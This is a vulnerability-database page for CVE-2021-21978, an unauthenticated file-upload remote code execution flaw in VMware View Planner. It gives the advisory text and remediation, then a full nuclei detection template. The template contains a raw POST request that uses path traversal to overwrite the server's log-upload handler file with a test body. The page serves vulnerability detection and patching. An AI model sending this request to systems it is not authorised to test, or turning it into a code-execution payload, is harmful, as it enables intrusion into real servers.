HexBrain

Browse / CVEs / CVE-2021-21978

CVE-2021-21978· vmware / view planner· CWE-20

VMware View Planner <4.6 SP1- Remote Code Execution

criticalseverity
9.8CVSS score
99%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.

How to confirm it

Send: POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22lo…
Positive when: len(body) == 28 AND contains "File uploaded successfully." AND status 200

Run it with nuclei: nuclei -id CVE-2021-21978 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-21978

info:
  name: VMware View Planner <4.6 SP1- Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
    An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
    file leading to remote code execution within the logupload container.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1367258907601698816
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21978
    - https://www.vmware.com/security/advisories/VMSA-2021-0003.html
    - http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21978
    cwe-id: CWE-20
    epss-score: 0.99005
    epss-percentile: 0.9993
    cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: view_planner
  tags: cve2021,cve,vmware,rce,packetstorm,fileupload,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: text/html
        Referer: {{BaseURL}}
        Connection: close

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="logfile"; filename=""
        Content-Type: text/plain

        POC_TEST

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(body) == 28"

      - type: word
        part: body
        words:
          - "File uploaded successfully."

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from